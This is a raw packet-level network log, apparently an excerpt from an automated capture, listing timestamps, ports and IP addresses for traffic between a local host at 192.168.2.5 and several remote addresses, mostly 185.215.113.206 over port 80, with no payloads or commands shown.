Oct 31, 2024 01:18:53.290254116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290263891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290263891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290273905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290281057 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290286064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290297031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290304899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290308952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290333033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290358067 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290369987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290381908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290393114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290417910 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290420055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290431023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290447950 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290457010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290457964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290471077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290491104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290504932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290513992 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290513992 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290515900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290539980 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290541887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290549994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290558100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290571928 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290606976 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290632010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290643930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290654898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290668011 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290678978 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290703058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290723085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290733099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290744066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290772915 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290807962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290837049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290888071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290899038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290934086 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290952921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290965080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291086912 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291254997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291265965 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291279078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291289091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291301012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291305065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291311026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291333914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291362047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291393995 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291434050 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291435957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291624069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291635990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291651964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291662931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291678905 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291695118 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291742086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291863918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291873932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291883945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291897058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291909933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.291913986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291934967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.291944981 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.292309046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292325974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292352915 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292355061 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.292371035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.292382956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.292397976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292408943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292418957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292454004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.292788982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292800903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292812109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.292855024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.327708006 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.327728033 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.327735901 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.327785015 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.327809095 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.327853918 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.328897953 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.328907967 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.335259914 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.335282087 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.335448027 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.335649014 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.335663080 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.398775101 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.399286032 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.399300098 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.399781942 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.399785995 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.402205944 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.402543068 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.402553082 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.403029919 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.403034925 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.404361010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404412985 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404423952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404433966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404448032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404469013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404473066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404479980 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404490948 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404503107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404519081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404520035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404531956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404542923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404544115 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404562950 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404584885 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404597998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404613018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404623985 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404642105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404653072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404659033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404665947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404675961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404689074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404690981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404701948 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404709101 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404721975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404751062 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404805899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404817104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404829025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404844999 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404850960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404855967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404867887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404875040 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404879093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404889107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404898882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404906988 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404932976 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404942036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.404977083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.404993057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405004978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405015945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405040979 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405056000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405066967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405077934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405078888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405102968 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405107021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405117989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405117989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405127048 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405144930 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405169964 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405286074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405327082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405375004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405388117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405399084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405409098 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405420065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405433893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405440092 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405452013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405456066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405463934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405473948 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405474901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405488014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405497074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405499935 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405508041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405524015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405539036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405599117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405611038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405621052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405636072 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405641079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405653954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405659914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405664921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405675888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405688047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405694962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405702114 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405705929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405716896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405730963 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405735970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405746937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405756950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405757904 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405767918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405774117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405786037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405796051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405797958 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405810118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405821085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405824900 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405832052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405838013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405844927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405862093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405865908 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405879974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405889988 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405890942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405903101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405915976 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405919075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405932903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405944109 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405946016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405957937 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405958891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405976057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.405982971 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.405992031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406003952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406007051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406032085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406039000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406049967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406055927 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406059980 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406081915 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406104088 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406126022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406136990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406147003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406169891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406173944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406184912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406196117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406208992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406219006 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406241894 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406248093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406322002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406332970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406358957 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406368971 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406399012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406409979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406419992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406439066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406445026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406456947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406461954 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406469107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406483889 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406497955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406508923 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406508923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406519890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406531096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406558037 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406605959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406655073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406666994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406707048 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406774044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406795025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406806946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406811953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406817913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406830072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406841040 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406841993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406852961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406864882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406867027 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406874895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406888008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406888962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406899929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406908989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406913042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.406923056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.406945944 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407017946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407028913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407040119 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407048941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407059908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407072067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407083035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407084942 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407095909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407102108 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407124996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407151937 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407160044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407171011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407181978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407191992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407196999 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407202959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407208920 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407215118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407226086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407227993 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407253981 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407272100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407274008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407285929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407295942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407309055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407327890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407332897 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407340050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407365084 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407382965 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407388926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407399893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407409906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407424927 CET	49962	80	192.168.2.5	185.215.113.206
